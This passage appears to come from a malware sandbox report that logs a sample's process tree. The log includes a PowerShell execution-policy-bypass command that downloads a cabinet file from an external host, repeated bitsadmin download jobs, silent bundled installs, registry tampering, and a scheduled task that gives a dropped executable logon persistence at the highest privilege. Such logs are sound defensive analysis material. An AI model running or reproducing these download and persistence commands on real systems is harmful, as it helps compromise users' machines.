        5⤵
        
        PID:3420
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2064
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2532
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:4028
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3232
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1772
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3952
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3548
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2480
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2184
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1592
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3604
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1688
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1944
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2244
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1604
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2000
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2900
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3260
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2924
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3092
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3976
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2820
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2456
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2836
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2692
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1008
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2636
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3332
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2076
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1828
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3472
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3732
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:4024
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2288
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:4020
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:552
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2212
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3768
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3860
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:4068
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1624
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1984
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3916
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2620
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3236
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3420
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1720
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1536
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:564
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3232
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2056
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3524
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2420
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3892
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3984
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1048
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3592
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3604
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3292
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3856
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3452
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2292
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2328
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3716
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2556
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1600
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3344
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2304
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:992
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1008
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:804
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2160
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3720
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2636
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3528
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2236
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1680
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1828
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2520
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3692
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3208
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2944
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2768
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3480
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2532
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2268
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3908
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2176
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2056
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2420
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2956
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3520
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2380
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2996
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3092
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3936
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:672
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:4024
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('http://dwrapper-dev.herokuapp.com/beetle-cab.cab', 'C:\Users\Admin\AppData\Local\Temp\dwnl_91316\dwnl_beetle-cab.cab')" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_ps_download_start.txt"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K SilentSetup.cmd
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3756
    - - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\bloatware\4\WinaeroTweaker-1.40.0.0-setup.exe
        
        WinaeroTweaker-1.40.0.0-setup.exe /SP- /VERYSILENT
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3852
      - C:\Users\Admin\AppData\Local\Temp\is-PD8GK.tmp\WinaeroTweaker-1.40.0.0-setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-PD8GK.tmp\WinaeroTweaker-1.40.0.0-setup.tmp" /SL5="$203C4,2180794,169984,C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\bloatware\4\WinaeroTweaker-1.40.0.0-setup.exe" /SP- /VERYSILENT
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:3928
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im winaerotweaker.exe /f
        7⤵
        
        PID:4056
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im winaerotweaker.exe /f
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1012
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im winaerotweakerhelper.exe /f
        7⤵
        
        PID:4080
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im winaerotweakerhelper.exe /f
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2364
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\regmess.exe
    regmess.exe
    3⤵
    - Executes dropped EXE
    PID:3432
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\regmess_4d656493-d7e3-4d0b-8ce4-fbab4b3db3e5\regmess.bat" "
      4⤵
      PID:3660
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Setup.reg /reg:32
        5⤵
        
        PID:3824
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Console.reg /reg:32
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3832
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Desktop.reg /reg:32
        5⤵
        Sets desktop wallpaper using registry
        System Location Discovery: System Language Discovery
        
        PID:3844
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import International.reg /reg:32
        5⤵
        
        PID:3860
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Fonts.reg /reg:32
        5⤵
        Modifies Internet Explorer settings
        
        PID:3880
    - - C:\Windows\SysWOW64\reg.exe
        
        reg import Cursors.reg /reg:32
        5⤵
        
        PID:3912
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 10
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:3308
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\scary.exe
    scary.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious use of AdjustPrivilegeToken
    PID:3616
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2628
  - - C:\Program Files\SubDir\Romilyaa.exe
      "C:\Program Files\SubDir\Romilyaa.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:4084
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2012
    - - C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\iaiaRME6FJKa.bat" "
        5⤵
        
        PID:3544
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:1980
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3992
      - C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2012
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2632
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\gEsnrm0qtoO1.bat" "
        7⤵
        
        PID:1604
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:3200
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1720
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3564
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2924
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\2LIpZcOtbgud.bat" "
        9⤵
        
        PID:2312
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        10⤵
        
        PID:1468
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        10⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3928
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3900
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        11⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1696
        
